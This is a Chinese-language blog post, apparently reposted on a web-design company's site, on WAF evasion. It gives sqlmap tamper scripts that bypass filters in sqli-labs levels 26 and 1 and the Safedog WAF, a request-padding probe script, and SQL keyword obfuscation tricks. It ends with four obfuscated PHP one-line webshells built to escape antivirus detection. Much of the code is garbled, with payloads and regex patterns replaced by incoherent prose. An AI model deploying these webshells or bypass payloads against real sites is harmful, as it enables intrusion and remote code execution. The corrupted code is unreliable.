[][]]
1. 脚本编写
以sqli-lab第26关为例
输入?id=1’ --+,报错字符型注入
在探讨闭合性的问题时,我们尝试输入了类似"id=1' and '1"的字符串,然而在回显结果中,原本的"and"以及空格字符均未出现,这表明这两个符号和空格已被系统过滤。
在过滤机制中,and与or被排除在外,因此采用了双写来规避这一限制;同时,为了替代空格,使用了如%0a或%a0等特殊字符。
SQL注入常见绕过技巧
扫描结果显示并无SQL注入风险,然而实际手动检测时却发现存在SQL注入问题,而这一漏洞竟未在扫描过程中被发现。这可能是因为在实施注入攻击时,缺乏有效的绕过策略,导致攻击被拦截。因此,我们有必要对发送的数据进行编码处理。这样做是因为它为我们提供了相应的插件,可以用来对数据进行改造。
这款工具是SQL注入的高效利器,它能够对注入代码进行编码和转换,以实现规避某些限制的效果。然而,其内置的脚本(或者说是一系列内置脚本)有时并不十分适用,往往需要根据具体情况进行调整和编写。
,详解及使用指南 – ’S Blog
在脚本内创建一个名为“sqli-lab-26.py”的新文档,操作此文件时需进行查找与更替操作。
搜索并替可以使用相关的函数也可以使用正则re.sub
添加:– U 表示指定联合查询
import re
from lib.core.enums import PRIORITY
[id_387841444]= PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload[id_1927877739] **kwargs):
"""
<空格> %a0
and anANDd
严禁对特定内容进行篡改,同时确保编号与原文一致。
or oORr
"""
payload = re.sub(r"(?i)#"," and '1",payload) #使用?i表示不区分大小写
对payload进行操作,通过正则表达式替换,将匹配到的特定模式“'--+'”替换为“ and '1”,以此修改payload的内容。
payload = re.sub(r"(?i)and","anANDd",payload)
payload = re.sub(r"(?i)or","oORr",payload)
payload = re.sub(r"(?i) ","%A0",payload)
return payload
.py文件执行时,使用参数“-u”和空字符串,并指定脚本名为“sqli-”,来运行脚本集中对应的脚本。
2. WAF
Web应用防火墙,即WAF,在我国被称作“Web应用防火墙”,这一名称借鉴了国际上的通用表述。关于WAF的定义,可以这样理解:它是一款专为Web应用提供安全保护的产品,通过实施一系列针对HTTP和HTTPS的安全策略来实现这一目的。从上述对WAF的阐述中,我们可以明确得知,WAF是一种部署在应用层面的、借助特定的安全措施,专门为Web应用程序提供安全保障的解决方案。
2.1 常见WAF
看图识WAF-收集常见WAF拦截页面
2.1.1 WAF的类别
根据不同的分类方法,WAF可以有多种分类。
根据产品形态划分:
产品形态说明典型产品
软WAF
WAF软件安装在受保护的服务器上,因其位于服务器内部,能够直接访问服务器文件,从而实现对服务器上文件是否存在、是否新增的实时检测。
安全狗 云锁 D 盾
硬WAF
以实体硬件形式安装在通信线路中,能够适应多种部署策略,灵活部署于Web服务器的入口端。能够检测并识别异常的外部流量,同时执行攻击的防御措施。
天清WAG
云WAF
通常采用反向代理模式运作,通过设置NS记录或CNAME记录,确保对网站的请求首先被WAF主机处理,过滤完毕后,将判定为安全的请求转发至目标网站服务器执行,这实际上是一种具备防护功能的CDN服务。
阿里云云盾 腾讯云WAF 安恒玄武盾
内置WAF
网站系统内嵌的WAF,即网站系统内设的过滤机制,它直接嵌入到代码之中,具有相对较高的灵活性,通常包括以下几种情形:强制对输入参数进行类型转换(例如)。对输入参数进行合法性审查。在关键函数执行(如SQL操作、页面展示、命令执行等)之前,对已通过代码流程的输入进行检验。对输入数据进行替换和过滤处理,以确保代码执行流程的顺利进行(如转义或替换特殊字符)。由于网站系统集成了与业务高度匹配的WAF,且在双方对安全性和业务需求都有深入了解的情况下,系统能够有效减少误报和漏报的情况。
参考:
WAF(web应用防火墙)浅析
2.1.2 WAF的工作原理
WAF的工作流程主要由四个阶段构成:首先是预处理环节,其次是规则检测阶段,接着是处理模块的实施,最后是日志记录步骤。
WAF 处理流程说明
预处理
在数据请求流量接收的预处理阶段,系统会先进行判断,确认该请求是否为HTTP或HTTPS类型,接着检查相应的URL是否已被列入白名单。若该URL请求已存在于白名单中,则直接将该请求转交给后端Web服务器进行响应处理;若不在白名单之内,则对数据包进行解析,并进入规则检测环节。
规则检测
各类WAF产品均配备独有的检测规则库,经过解析的数据包随后进入这一体系,进行规则比对,以验证数据请求是否与规则相符,并识别潜在的恶意攻击举动。
处理模块
根据检测结果的不同,处理模块将采取相应的安全防护措施,若检测结果符合既定标准,则将任务转交给Web服务器进行后续响应,而对于那些不符合标准的要求,则将执行包括拦截、记录以及警报在内的相应处理流程。
日志记录
在处理过程中,WAF 还会将拦截操作的日志信息进行记录,这样做便于用户在之后进行日志的查阅与分析。
参考
WAF机制及绕过方法总结:注入篇
2.1.3 WAF部署模式
参考:
硬件WAF的部署模式可概括为:采用透明代理方式、反向代理方式、路由模式以及端口镜像模式。
2.1.4 WAF指纹识别
"指纹"就是特定特征的字符串或行为。
指纹特征字段
响应状态码
‘405 not allow’
HTTP 响应报文头部字段
X--By 特殊字段
响应正文特征
‘’ ‘’
行为
阻止响应页面
参考:
【干货分享丨 安全爱好者专题】WAF 指纹探测
2.1.5 WAF指纹识别工具
2.2 SQL注入技术 2.2.1 技术解析 2.2.1.1 针对性分析
系统层面
组件层面:HPP
代码层面:变形、混淆等操作
WAF层面
2.2.1.2 HTTP协议问题
畸形请求:请求方法lili
持久链接
分块传送
2.2.2 绕过分析 字符绕过方法
and
/*!*/
order by
/**/order/*/%0a*a*/by/**/
union
联合体不允许使用特殊符号,且在特定字符之间不得插入任何内容,确保格式正确。
()
坚决杜绝任何对专有名词的擅自修改,确保内容的准确性,同时维护专有名词的权威性。
from .
/*!from–/*%.*/
from .
/*!from–/*%.*/
count(*)
count(1)
/*!14400and*/
mysql的内联注释,利用特殊字符对and做混淆。
以 为例:
?id=1' --+
?id=2' --+
禁止访问该页面,参数ID为2,且不包含特殊字符,条件为1等于1,注释部分为14400秒,注释内容为禁止修改。
禁止访问该页面,且参数?id=2与条件不符合,同时,注释部分中的特殊字符序列和逻辑表达式被用于绕过安全限制。
对于该查询,我们应严格禁止执行,因为它涉及对特定ID的订单进行排序,且排序依据为4。
禁止访问该链接,其中包含非法字符和特殊指令,试图绕过安全防护机制,执行非法查询操作。
禁止访问该页面,存在潜在的安全风险。代码片段包含非法字符,试图执行非法数据库查询操作。
禁止访问该页面,因为其包含非法的SQL注入代码片段。该代码试图通过构造特殊查询,获取数据库中所有表的名称。
在查询语句中,我们指定了信息模式中的表格,条件是表格模式等于当前数据库的名称。
禁止访问该链接,其中包含非法字符,试图执行不合法的操作,例如尝试从数据库中提取信息。
查询信息模式中的列信息,条件是表模式等于当前数据库,并且表名为'users'。
禁止访问该链接,其中包含非法字符序列,如“14400and”、“1=2”和“88888cas”,并试图执行非法数据库查询操作,例如从“users”表中提取数据。
禁止访问该链接,其中包含非法字符序列,如:1=2,以及特殊指令,如:union和select。此外,还有对数据库敏感信息的拼接操作,例如将用户名和密码进行连接。
/*%0ausers*/ limit 1,1--+
2.2.3 绕过安全狗思路
以sqli-lab第1关为例
使用bp抓包发送重发器,发现被安全狗拦截
创建名为sqli-lab_1.py的新文件,针对GET类型的请求,存在数据长度的限制;然而,对于POST类型的请求,则没有此类限制。
import requests
headers ={
"User-Agent":Mozilla版本为5.0,操作系统为Windows NT 10.0,采用64位架构,浏览器内核基于Apple的Webkit,版本号为537.36,渲染引擎类似于Gecko,具体浏览器类型为Chrome,版本号为113.0.5672.93,使用Safari作为网络浏览器。
}
i=0
while True:
i+=1
url = 严禁访问该链接:“http://192.168.16.183/sqli-labs-master/Less-1/?id=1”,其中包含特殊字符“/*”。{'xujie' * i}*/and 1=2 --+"
res = requests.get(url= url,headers= headers)
if ("拦截页面 " not in res.text) or res.status_code == 414: #当绕过安全狗或者服务器报错时停止
print(i)
print(url)
break
面对污秽的数据,安全狗的防御无法被突破,通过隐秘的注释手法实现规避,同时将“与”符号替换为“/*!*/”。
进行查询时,应将列名替换为/**/order/*/%0a*a*/,并通过/**/by/**/进行排序。
'''
and /*!14400and*/
按照指定顺序排列,依据指定规则对数据进行排序,通过指定方式实现数据的排序功能。
严禁执行以下操作:将“union”与“select”组合使用,并插入特殊字符“/*!88888cas*//*/”,后跟换行符“%0a”,再接“*”,最后加入注释符号“/**/”。
联合表单!88888cas!%a0!/*!!=!*/选择!/**/
对数据库进行操作,需遵循特定的格式要求,其中包含特殊符号序列(/*%%!xxx%%%%*/)。
database(/*!/*/***/*/)
直接引用信息架构中的表数据,不经过任何中间步骤,直接访问information_schema.tables。
从信息架构的列表中提取数据,确保不涉及任何非预期的字符序列,且严格按照指定的信息架构列表进行操作。
count(*) count(1)
as /*!14400as*/
设定基准值为5000000,并使用MD5算法对0x50774459进行加密处理。
sleep(/*%%!AJEST%%%%*/5)
'''
#!/usr/bin/env python
"""
版权所有(c)2006-2022,sqlmap开发者团队(访问链接:https://sqlmap.org/)
请查阅文件《LICENSE》以了解关于复制的许可信息。
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
and
/*!-*/-/*and*/
order by
/**/order/*/%0a*a*/by/**/
union all select
严禁对特定内容进行编辑,不得执行如下操作:从数据库中提取数据。
从信息架构中的表格信息
严禁对信息模式中的表结构进行任何修改操作。
查询信息模式中的架构表
严禁对信息架构中的架构信息进行修改。
从信息架构的列表中选择
严禁对信息架构中的列表进行任何修改操作。
[ as]
/*!14400as*/
char
/*!14400char*/
database\(\)
database(/*!/*/**AJEST*/*/)
该决定明确指出,任何单位和个人不得擅自更改或删除相关文件内容,同时,必须确保所有修改均需经过严格审批程序,并在改动后及时更新相关档案记录。
"""
payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
payload = re.sub(r'(?i)order by', "/**/order/*/%0a*a*/by/**/", payload)
payload = re.sub(禁止执行包含如下指令的代码片段:'联合所有选择'。, 禁止对以下内容进行修改:联合查询,不包含特定标识符,执行选择操作。, payload)
payload = re.sub(查询信息模式中的表结构信息, 不允许对信息模式中的表结构进行修改。, payload)
payload = re.sub(查询不应涉及来自信息架构中列的数据库表。, 禁止对以下内容进行修改:来自信息架构的列信息表。, payload)
payload = re.sub(从信息模式数据库中的SCHEMATA表选取数据。, "请勿对以下内容进行修改:/*%0ainformation_schema.SCHEMATA*/", payload)
payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
payload = re.sub(r"(?i)char","/*!14400char*/",payload)
payload = re.sub(r"(?i)database\(\)","database(/*!/*/**AJEST*/*/)",payload)
payload = re.sub(r"(?i)#","-- ",payload)
payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
return payload
执行命令:python ./sqlmap.py,针对URL "http://192.168.16.183/sqli-labs-master/Less-1/?id=1" 进行SQL注入测试,使用参数 --tamper 指定绕过safedog防护,并设置 --random-agent 以随机化用户代理。


3. 一句话木马免杀 3.1 查杀方式 3.2 绕过方式
HTTP请求数据包变形:分块传送等。
一句话木马的变形,实现动态免杀。
3.3 3.3.1
$ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');
$ajest($_REQUEST[777]);
?>
3.3.2
class Bypass{
public $name;
public $male;
function destruct ()
$a = $this->name;
$a($this->male);
}
}
unserialize($POST['777']);
禁止对以下内容进行修改:名称为“assert”的键值,其值为字符串“eval($_REQUEST["x"])”,且该键值位于一个包含两个键值对的结构体中,其中另一个键值为“name”,对应的字符串为“male”。
?>
3.3.3
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
echo "$key. $item2
\n";
}
echo "Before ...:\n"; array_walk($fruits, 'test_print');
$a =array_keys($fruits); print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wuhu'];
@$q($r);
?>
3.3.4
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>
扫一扫在手机端查看
-
Tags : 陕西sqlmap 空格绕过
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。


客服1